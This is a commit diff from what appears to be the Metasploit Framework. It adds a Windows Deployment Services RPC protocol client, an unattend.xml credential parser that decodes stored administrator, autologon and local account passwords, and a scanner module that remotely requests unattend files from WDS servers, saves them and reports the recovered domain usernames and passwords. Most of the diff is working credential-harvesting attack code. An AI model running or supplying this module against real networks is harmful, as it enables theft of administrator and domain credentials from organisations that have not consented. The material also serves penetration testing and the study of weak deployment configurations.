Repackage as single module pull
parent
a23ebaee9f
commit
e60d10bd3d
|
@ -0,0 +1,128 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
#
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Parser
|
||||||
|
class Unattend
|
||||||
|
|
||||||
|
def self.parse(xml)
|
||||||
|
results = []
|
||||||
|
unattend = xml.elements['unattend']
|
||||||
|
return if unattend.nil?
|
||||||
|
unattend.each_element do |settings|
|
||||||
|
next if settings.class != REXML::Element
|
||||||
|
settings.get_elements('component').each do |c|
|
||||||
|
next if c.class != REXML::Element
|
||||||
|
results << extract_useraccounts(c.elements['UserAccounts'])
|
||||||
|
results << extract_autologon(c.elements['AutoLogon'])
|
||||||
|
results << extract_deployment(c.elements['WindowsDeploymentServices'])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return results.flatten
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Extract sensitive data from Deployment Services.
|
||||||
|
# We can only seem to add one <Login> with Windows System Image Manager, so
|
||||||
|
# we'll only enum one.
|
||||||
|
#
|
||||||
|
def self.extract_deployment(deployment)
|
||||||
|
return [] if deployment.nil?
|
||||||
|
domain = deployment.elements['Login/Credentials/Domain'].get_text.value rescue ''
|
||||||
|
username = deployment.elements['Login/Credentials/Username'].get_text.value rescue ''
|
||||||
|
password = deployment.elements['Login/Credentials/Password'].get_text.value rescue ''
|
||||||
|
plaintext = deployment.elements['Login/Credentials/Password/PlainText'].get_text.value rescue 'true'
|
||||||
|
|
||||||
|
if plaintext == 'false'
|
||||||
|
password = Rex::Text.decode_base64(password)
|
||||||
|
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
|
||||||
|
end
|
||||||
|
|
||||||
|
return {'type' => 'wds', 'domain' => domain, 'username' => username, 'password' => password }
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Extract sensitive data from AutoLogon
|
||||||
|
#
|
||||||
|
def self.extract_autologon(auto_logon)
|
||||||
|
return [] if auto_logon.nil?
|
||||||
|
|
||||||
|
domain = auto_logon.elements['Domain'].get_text.value rescue ''
|
||||||
|
username = auto_logon.elements['Username'].get_text.value rescue ''
|
||||||
|
password = auto_logon.elements['Password/Value'].get_text.value rescue ''
|
||||||
|
plaintext = auto_logon.elements['Password/PlainText'].get_text.value rescue 'true'
|
||||||
|
|
||||||
|
if plaintext == 'false'
|
||||||
|
password = Rex::Text.decode_base64(password)
|
||||||
|
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
|
||||||
|
end
|
||||||
|
|
||||||
|
return {'type' => 'auto', 'domain' => domain, 'username' => username, 'password' => password }
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Extract sensitive data from UserAccounts
|
||||||
|
#
|
||||||
|
def self.extract_useraccounts(user_accounts)
|
||||||
|
return[] if user_accounts.nil?
|
||||||
|
|
||||||
|
results = []
|
||||||
|
account_types = ['AdministratorPassword', 'DomainAccounts', 'LocalAccounts']
|
||||||
|
account_types.each do |t|
|
||||||
|
element = user_accounts.elements[t]
|
||||||
|
next if element.nil?
|
||||||
|
|
||||||
|
case t
|
||||||
|
#
|
||||||
|
# Extract the password from AdministratorPasswords
|
||||||
|
#
|
||||||
|
when account_types[0]
|
||||||
|
password = element.elements['Value'].get_text.value rescue ''
|
||||||
|
plaintext = element.elements['PlainText'].get_text.value rescue 'true'
|
||||||
|
|
||||||
|
if plaintext == 'false'
|
||||||
|
password = Rex::Text.decode_base64(password)
|
||||||
|
password = password.gsub(/#{Rex::Text.to_unicode('AdministratorPassword')}$/, '')
|
||||||
|
end
|
||||||
|
|
||||||
|
if not password.empty?
|
||||||
|
results << {'type' => 'admin', 'username' => 'Administrator', 'password' => password}
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Extract the sensitive data from DomainAccounts.
|
||||||
|
# According to MSDN, unattend.xml doesn't seem to store passwords for domain accounts
|
||||||
|
#
|
||||||
|
when account_types[1] #DomainAccounts
|
||||||
|
element.elements.each do |account_list|
|
||||||
|
name = account_list.elements['DomainAccount/Name'].get_text.value rescue ''
|
||||||
|
group = account_list.elements['DomainAccount/Group'].get_text.value rescue 'true'
|
||||||
|
|
||||||
|
results << {'type' => 'domain', 'username' => name, 'group' => group}
|
||||||
|
end
|
||||||
|
#
|
||||||
|
# Extract the username/password from LocalAccounts
|
||||||
|
#
|
||||||
|
when account_types[2] #LocalAccounts
|
||||||
|
element.elements.each do |local|
|
||||||
|
password = local.elements['Password/Value'].get_text.value rescue ''
|
||||||
|
plaintext = local.elements['Password/PlainText'].get_text.value rescue 'true'
|
||||||
|
|
||||||
|
if plaintext == 'false'
|
||||||
|
password = Rex::Text.decode_base64(password)
|
||||||
|
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
|
||||||
|
end
|
||||||
|
|
||||||
|
username = local.elements['Name'].get_text.value rescue ''
|
||||||
|
results << {'type' => 'local', 'username' => username, 'password' => password}
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
return results
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -252,7 +252,14 @@ require 'rex/proto/smb/exceptions'
|
||||||
|
|
||||||
bind, context = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(*args)
|
bind, context = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(*args)
|
||||||
else
|
else
|
||||||
bind, context = Rex::Proto::DCERPC::Packet.make_bind(self.handle.uuid[0], self.handle.uuid[1])
|
if self.handle.uuid.length == 4
|
||||||
|
bind, context = Rex::Proto::DCERPC::Packet.make_bind( self.handle.uuid[0],
|
||||||
|
self.handle.uuid[1],
|
||||||
|
self.handle.uuid[2],
|
||||||
|
self.handle.uuid[3])
|
||||||
|
else
|
||||||
|
bind, context = Rex::Proto::DCERPC::Packet.make_bind(self.handle.uuid[0], self.handle.uuid[1])
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
raise 'make_bind failed' if !bind
|
raise 'make_bind failed' if !bind
|
||||||
|
|
|
@ -11,11 +11,15 @@ require 'rex/text'
|
||||||
UUID = Rex::Proto::DCERPC::UUID
|
UUID = Rex::Proto::DCERPC::UUID
|
||||||
|
|
||||||
# Create a standard DCERPC BIND request packet
|
# Create a standard DCERPC BIND request packet
|
||||||
def self.make_bind(uuid, vers)
|
def self.make_bind(uuid, vers, xfer_syntax_uuid=UUID.xfer_syntax_uuid, xfer_syntax_vers=UUID.xfer_syntax_vers)
|
||||||
|
|
||||||
# Process the version strings ("1.0", 1.0, "1", 1)
|
# Process the version strings ("1.0", 1.0, "1", 1)
|
||||||
bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers)
|
bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers)
|
||||||
xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(UUID.xfer_syntax_vers)
|
xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(xfer_syntax_vers)
|
||||||
|
|
||||||
|
if UUID.is? xfer_syntax_uuid
|
||||||
|
xfer_syntax_uuid = UUID.uuid_pack(xfer_syntax_uuid)
|
||||||
|
end
|
||||||
|
|
||||||
# Create the bind request packet
|
# Create the bind request packet
|
||||||
buff =
|
buff =
|
||||||
|
@ -37,7 +41,7 @@ require 'rex/text'
|
||||||
UUID.uuid_pack(uuid), # interface uuid
|
UUID.uuid_pack(uuid), # interface uuid
|
||||||
bind_vers_maj, # interface major version
|
bind_vers_maj, # interface major version
|
||||||
bind_vers_min, # interface minor version
|
bind_vers_min, # interface minor version
|
||||||
UUID.xfer_syntax_uuid, # transfer syntax
|
xfer_syntax_uuid, # transfer syntax
|
||||||
xfer_vers_maj, # syntax major version
|
xfer_vers_maj, # syntax major version
|
||||||
xfer_vers_min, # syntax minor version
|
xfer_vers_min, # syntax minor version
|
||||||
].pack('CCCCNvvVvvVVvvA16vvA16vv')
|
].pack('CCCCNvvVvvVVvvA16vvA16vv')
|
||||||
|
|
|
@ -0,0 +1,3 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'rex/proto/dcerpc/wdscp/constants'
|
||||||
|
require 'rex/proto/dcerpc/wdscp/packet'
|
|
@ -0,0 +1,89 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
module Rex
|
||||||
|
module Proto
|
||||||
|
module DCERPC
|
||||||
|
module WDSCP
|
||||||
|
# http://msdn.microsoft.com/en-us/library/dd891406(prot.20).aspx
|
||||||
|
# http://msdn.microsoft.com/en-us/library/dd541332(prot.20).aspx
|
||||||
|
# Not all values defined by the spec have been imported...
|
||||||
|
class Constants
|
||||||
|
WDSCP_RPC_UUID = "1A927394-352E-4553-AE3F-7CF4AAFCA620"
|
||||||
|
OS_DEPLOYMENT_GUID = "\x5a\xeb\xde\xd8\xfd\xef\xb2\x43\x99\xfc\x1a\x8a\x59\x21\xc2\x27"
|
||||||
|
|
||||||
|
VAR_NAME_ARCHITECTURE = "ARCHITECTURE"
|
||||||
|
VAR_NAME_CLIENT_GUID = "CLIENT_GUID"
|
||||||
|
VAR_NAME_CLIENT_MAC = "CLIENT_MAC"
|
||||||
|
VAR_NAME_VERSION = "VERSION"
|
||||||
|
VAR_NAME_MESSAGE_TYPE = "MESSAGE_TYPE"
|
||||||
|
VAR_NAME_TRANSACTION_ID = "TRANSACTION_ID"
|
||||||
|
VAR_NAME_FLAGS = "FLAGS"
|
||||||
|
VAR_NAME_CC = "CC" #Client Capabilities
|
||||||
|
VAR_NAME_IMDC = "IMDC"
|
||||||
|
|
||||||
|
VAR_TYPE_LOOKUP = {
|
||||||
|
VAR_NAME_ARCHITECTURE => :ULONG,
|
||||||
|
VAR_NAME_CLIENT_GUID => :WSTRING,
|
||||||
|
VAR_NAME_CLIENT_MAC => :WSTRING,
|
||||||
|
VAR_NAME_VERSION => :ULONG,
|
||||||
|
VAR_NAME_MESSAGE_TYPE => :ULONG,
|
||||||
|
VAR_NAME_TRANSACTION_ID => :WSTRING,
|
||||||
|
VAR_NAME_FLAGS => :ULONG,
|
||||||
|
VAR_NAME_CC => :ULONG,
|
||||||
|
VAR_NAME_IMDC => :ULONG
|
||||||
|
}
|
||||||
|
|
||||||
|
CC_FLAGS = {
|
||||||
|
:V2 => 1,
|
||||||
|
:VHDX => 2
|
||||||
|
}
|
||||||
|
|
||||||
|
DOMAIN_JOIN_FLAGS = {
|
||||||
|
:JOIN_DOMAIN => 1,
|
||||||
|
:ACCOUNT_EXISTS => 2,
|
||||||
|
:PRESTAGE_USING_MAC => 3,
|
||||||
|
:RESET_BOOT_PROGRAM => 256
|
||||||
|
}
|
||||||
|
|
||||||
|
ARCHITECTURE = {
|
||||||
|
:X64 => 9,
|
||||||
|
:X86 => 0,
|
||||||
|
:IA64 => 6,
|
||||||
|
:ARM => 5
|
||||||
|
}
|
||||||
|
|
||||||
|
PACKET_TYPE = {
|
||||||
|
:REQUEST => 1,
|
||||||
|
:REPLY => 2
|
||||||
|
}
|
||||||
|
|
||||||
|
OPCODE = {
|
||||||
|
:IMG_ENUMERATE => 2,
|
||||||
|
:LOG_INIT => 3,
|
||||||
|
:LOG_MSG => 4,
|
||||||
|
:GET_CLIENT_UNATTEND => 5,
|
||||||
|
:GET_UNATTEND_VARIABLES => 6,
|
||||||
|
:GET_DOMAIN_JOIN_INFORMATION => 7,
|
||||||
|
:RESET_BOOT_PROGRAM => 8,
|
||||||
|
:GET_MACHINE_DRIVER_PACKAGES => 200
|
||||||
|
}
|
||||||
|
|
||||||
|
BASE_TYPE = {
|
||||||
|
:BYTE => 0x0001,
|
||||||
|
:USHORT => 0x0002,
|
||||||
|
:ULONG => 0x0004,
|
||||||
|
:ULONG64 => 0x0008,
|
||||||
|
:STRING => 0x0010,
|
||||||
|
:WSTRING => 0x0020,
|
||||||
|
:BLOB => 0x0040
|
||||||
|
}
|
||||||
|
|
||||||
|
TYPE_MODIFIER = {
|
||||||
|
:NONE => 0x0000,
|
||||||
|
:ARRAY => 0x1000
|
||||||
|
}
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,74 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
module Rex
|
||||||
|
module Proto
|
||||||
|
module DCERPC
|
||||||
|
module WDSCP
|
||||||
|
class Packet
|
||||||
|
|
||||||
|
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants
|
||||||
|
|
||||||
|
def initialize(packet_type, opcode)
|
||||||
|
if opcode.nil? || packet_type.nil?
|
||||||
|
raise(ArgumentError, "Packet arguments cannot be nil")
|
||||||
|
end
|
||||||
|
|
||||||
|
@variables = []
|
||||||
|
@packet_type = WDS_CONST::PACKET_TYPE[packet_type]
|
||||||
|
@opcode = WDS_CONST::OPCODE[opcode]
|
||||||
|
end
|
||||||
|
|
||||||
|
def add_var(name, type_mod=0, value_length=nil, array_size=0, value)
|
||||||
|
padding = 0
|
||||||
|
value_type = WDS_CONST::BASE_TYPE[WDS_CONST::VAR_TYPE_LOOKUP[name]]
|
||||||
|
name = name.encode('UTF-16LE').unpack('H*')[0]
|
||||||
|
|
||||||
|
value_length ||= value.length
|
||||||
|
|
||||||
|
len = 16 * (1 + (value_length/16)) # Variable block total size should be evenly divisible by 16.
|
||||||
|
@variables << [name, padding, value_type, type_mod, value_length, array_size, value].pack('H132vvvVVa%i' % len)
|
||||||
|
end
|
||||||
|
|
||||||
|
def create
|
||||||
|
packet = []
|
||||||
|
var_count = @variables.count
|
||||||
|
|
||||||
|
packet_size = 0
|
||||||
|
@variables.each do |var|
|
||||||
|
packet_size += var.length
|
||||||
|
end
|
||||||
|
|
||||||
|
packet_size += 16 # variables + operation
|
||||||
|
|
||||||
|
# These bytes are not part of the spec but are not part of DCERPC according to Wireshark
|
||||||
|
# Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice...
|
||||||
|
packet << [packet_size+40].pack('Q')*2
|
||||||
|
packet << create_endpoint_header(packet_size)
|
||||||
|
packet << create_operation_header(packet_size, var_count, @packet_type, @opcode)
|
||||||
|
packet.concat(@variables)
|
||||||
|
|
||||||
|
return packet.join
|
||||||
|
end
|
||||||
|
|
||||||
|
def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode)
|
||||||
|
return [ packet_size, # PacketSize
|
||||||
|
256, # Version
|
||||||
|
packet_type, # Packet_Type
|
||||||
|
0, # Padding
|
||||||
|
opcode, # Opcode
|
||||||
|
var_count, # Variable Count
|
||||||
|
].pack('VvCCVV')
|
||||||
|
end
|
||||||
|
|
||||||
|
def create_endpoint_header(packet_size)
|
||||||
|
return [ 40, # Header_Size
|
||||||
|
256, # Version
|
||||||
|
packet_size, # Packet_Size - This doesn't differ from operation header despite the spec...
|
||||||
|
WDS_CONST::OS_DEPLOYMENT_GUID, # GUID
|
||||||
|
"\x00"*16, # Reserved
|
||||||
|
].pack('vvVa16a16')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,221 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex/proto/dcerpc'
|
||||||
|
require 'rex/proto/dcerpc/wdscp'
|
||||||
|
require 'rex/parser/unattend'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::DCERPC
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
DCERPCPacket = Rex::Proto::DCERPC::Packet
|
||||||
|
DCERPCClient = Rex::Proto::DCERPC::Client
|
||||||
|
DCERPCResponse = Rex::Proto::DCERPC::Response
|
||||||
|
DCERPCUUID = Rex::Proto::DCERPC::UUID
|
||||||
|
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval',
|
||||||
|
'Description' => %q{
|
||||||
|
This module retrieves the client unattend file from Windows
|
||||||
|
Deployment Services RPC service and parses out the stored credentials.
|
||||||
|
Tested against Windows 2008 R2
|
||||||
|
},
|
||||||
|
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Version' => '',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'],
|
||||||
|
[ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html']
|
||||||
|
],
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(5040),
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion')
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
begin
|
||||||
|
query_host(ip)
|
||||||
|
rescue ::Interrupt
|
||||||
|
raise $!
|
||||||
|
rescue ::Exception => e
|
||||||
|
print_error("#{ip}:#{rport} error: #{e}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def query_host(rhost)
|
||||||
|
# Create a handler with our UUID and Transfer Syntax
|
||||||
|
self.handle = Rex::Proto::DCERPC::Handle.new(
|
||||||
|
[
|
||||||
|
WDS_CONST::WDSCP_RPC_UUID,
|
||||||
|
'1.0',
|
||||||
|
'71710533-beba-4937-8319-b5dbef9ccc36',
|
||||||
|
1
|
||||||
|
],
|
||||||
|
'ncacn_ip_tcp',
|
||||||
|
rhost,
|
||||||
|
[datastore['RPORT']]
|
||||||
|
)
|
||||||
|
|
||||||
|
print_status("Binding to #{handle} ...")
|
||||||
|
|
||||||
|
self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock)
|
||||||
|
print_good("Bound to #{handle}")
|
||||||
|
|
||||||
|
report_service(
|
||||||
|
:host => rhost,
|
||||||
|
:port => datastore['RPORT'],
|
||||||
|
:proto => 'tcp',
|
||||||
|
:name => "dcerpc",
|
||||||
|
:info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services"
|
||||||
|
)
|
||||||
|
|
||||||
|
table = Rex::Ui::Text::Table.new({
|
||||||
|
'Header' => 'Windows Deployment Services',
|
||||||
|
'Indent' => 1,
|
||||||
|
'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password']
|
||||||
|
})
|
||||||
|
|
||||||
|
creds_found = false
|
||||||
|
|
||||||
|
WDS_CONST::ARCHITECTURE.each do |architecture|
|
||||||
|
if architecture[0] == :ARM && !datastore['ENUM_ARM']
|
||||||
|
vprint_status "Skipping #{architecture[0]} architecture due to adv option"
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
begin
|
||||||
|
result = request_client_unattend(architecture)
|
||||||
|
rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||||
|
vprint_error(e.to_s)
|
||||||
|
print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
unless result.nil?
|
||||||
|
loot_unattend(architecture[0], result)
|
||||||
|
results = parse_client_unattend(result)
|
||||||
|
|
||||||
|
results.each do |result|
|
||||||
|
unless result.empty?
|
||||||
|
unless result['username'].nil? || result['password'].nil?
|
||||||
|
print_good("Retrived #{result['type']} credentials for #{architecture[0]}")
|
||||||
|
creds_found = true
|
||||||
|
domain = ""
|
||||||
|
domain = result['domain'] if result['domain']
|
||||||
|
report_creds(domain, result['username'], result['password'])
|
||||||
|
table << [architecture[0], result['type'], domain, result['username'], result['password']]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if creds_found
|
||||||
|
print_line
|
||||||
|
table.print
|
||||||
|
print_line
|
||||||
|
else
|
||||||
|
print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def request_client_unattend(architecture)
|
||||||
|
# Construct WDS Control Protocol Message
|
||||||
|
packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)
|
||||||
|
packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C'))
|
||||||
|
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID,
|
||||||
|
"\x35\x00\x36\x00\x34\x00\x44\x00\x41\x00\x36\x00\x31\x00\x44\x00"\
|
||||||
|
"\x32\x00\x41\x00\x45\x00\x31\x00\x41\x00\x41\x00\x42\x00\x32\x00"\
|
||||||
|
"\x38\x00\x36\x00\x34\x00\x46\x00\x34\x00\x34\x00\x46\x00\x32\x00"\
|
||||||
|
"\x38\x00\x32\x00\x46\x00\x30\x00\x34\x00\x33\x00\x34\x00\x30\x00"\
|
||||||
|
"\x00\x00")
|
||||||
|
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC,
|
||||||
|
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\
|
||||||
|
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\
|
||||||
|
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x35\x00\x30\x00"\
|
||||||
|
"\x35\x00\x36\x00\x33\x00\x35\x00\x31\x00\x41\x00\x37\x00\x35\x00"\
|
||||||
|
"\x00\x00")
|
||||||
|
packet.add_var( WDS_CONST::VAR_NAME_VERSION,"\x00\x00\x00\x01\x00\x00\x00\x00")
|
||||||
|
wdsc_packet = packet.create
|
||||||
|
|
||||||
|
print_status("Sending #{architecture[0]} Client Unattend request ...")
|
||||||
|
response = dcerpc.call(0, wdsc_packet)
|
||||||
|
|
||||||
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||||
|
vprint_status('Received response ...')
|
||||||
|
data = dcerpc.last_response.stub_data
|
||||||
|
|
||||||
|
# Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000
|
||||||
|
op_error_code = data.unpack('i*')[18]
|
||||||
|
if op_error_code == 0
|
||||||
|
if data.length < 277
|
||||||
|
vprint_error("No Unattend received for #{architecture[0]} architecture")
|
||||||
|
return nil
|
||||||
|
else
|
||||||
|
vprint_status("Received #{architecture[0]} unattend file ...")
|
||||||
|
return extract_unattend(data)
|
||||||
|
end
|
||||||
|
else
|
||||||
|
vprint_error("Error code received for #{architecture[0]}: #{op_error_code}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def extract_unattend(data)
|
||||||
|
start = data.index('<?xml')
|
||||||
|
finish = data.index('</unattend>')+10
|
||||||
|
return data[start..finish]
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_client_unattend(data)
|
||||||
|
begin
|
||||||
|
xml = REXML::Document.new(data)
|
||||||
|
|
||||||
|
rescue REXML::ParseException => e
|
||||||
|
print_error("Invalid XML format")
|
||||||
|
vprint_line(e.message)
|
||||||
|
end
|
||||||
|
|
||||||
|
return Rex::Parser::Unattend.parse(xml).flatten
|
||||||
|
end
|
||||||
|
|
||||||
|
def loot_unattend(archi, data)
|
||||||
|
return if data.empty?
|
||||||
|
p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services")
|
||||||
|
print_status("Raw version of #{archi} saved as: #{p}")
|
||||||
|
end
|
||||||
|
|
||||||
|
def report_creds(domain, user, pass)
|
||||||
|
report_auth_info(
|
||||||
|
:host => rhost,
|
||||||
|
:port => 4050,
|
||||||
|
:sname => 'dcerpc',
|
||||||
|
:proto => 'tcp',
|
||||||
|
:source_id => nil,
|
||||||
|
:source_type => "aux",
|
||||||
|
:user => "#{domain}\\#{user}",
|
||||||
|
:pass => pass)
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue